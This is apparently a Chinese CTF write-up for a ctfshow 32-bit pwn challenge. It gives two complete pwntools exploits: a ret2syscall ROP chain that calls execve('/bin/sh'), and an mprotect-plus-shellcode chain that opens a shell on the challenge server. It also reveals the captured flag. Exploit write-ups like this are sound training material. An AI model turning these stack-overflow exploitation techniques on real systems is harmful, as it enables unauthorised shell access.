32 位程序小端序
看似开了 canary 保护,实际没有
是 checksec 版本太老了
检测到 __stack_chk_fail 函数就算开了
主函数未见 canary 的压入与取出
代码看似和上一题一模一样的
存在栈溢出
但是细心的小朋友应该注意到了,左边多出了很多函数
说明这个程序是静态链接的
静态链接就意味着没法去打 ret2libc了
还是无 system 无 /bin/sh
考虑打 ret2syscall
偏移 22
找一些我们需要使用的 gadgets 地址
因为我们要系统调用 execve
肯定要用到 eax、ebx、ecx、edx 以及 init 0x80
0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
0x080a8dd6 : pop eax ; ret
0x08049663 : int 0x80
找一个可以写入 shellcode 的地址
接下来就可以直接写 exp 了:
# @author:My6n
# @time:20250609
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28262)
offset = 22
pop_eax = 0x080a8dd6
pop_edx_ecx_ebx = 0x0806e011
int_0x80 = 0x08049663
w_addr = 0x80dc000
read_addr = 0x806BEE0
payload = cyclic(offset)+p32(read_addr)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(w_addr)+p32(0x20)
payload += p32(pop_eax)+p32(0xb)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(w_addr)
payload += p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()
本地通了
打远程
拿到 flag:ctfshow{97fdb206-efa9-43e3-9b0f-1e428db9552f}
再来看看题目提示:
找找 mprotect 函数
这个函数是用来修改内存权限的
那么我们可以溢出后返回到这个函数,去修改一些地址的权限
为什么是 0x80DA000 而不是 bss 段的开头 0x80DB320
因为指定的内存区间必须包含整个内存页(4K)
起始地址 start 必须是一个内存页的起始地址
并且区间长度 len 必须是页大小的整数倍
再结合 read 函数将 shellcode 读进去,然后执行即可
exp:
# @author:My6n
# @time:20250609
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28283)
offset = 22
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop_eax_edx_ebx = 0x08056194
w_addr = 0x80DA000
payload = cyclic(offset) + p32(mprotect_addr)
payload += p32(pop_eax_edx_ebx) + p32(w_addr) + p32(0x200) + p32(0x7)
payload += p32(read_addr)
payload += p32(pop_eax_edx_ebx) + p32(0) + p32(w_addr) + p32(0x200)
payload += p32(w_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
也可以打通
我们动调看一下
执行 mprotect 前内存的权限情况
执行后,可以看到 0x80da000 往后部分为可读可写可执行权限
我们的 shellcode 就写到这个位置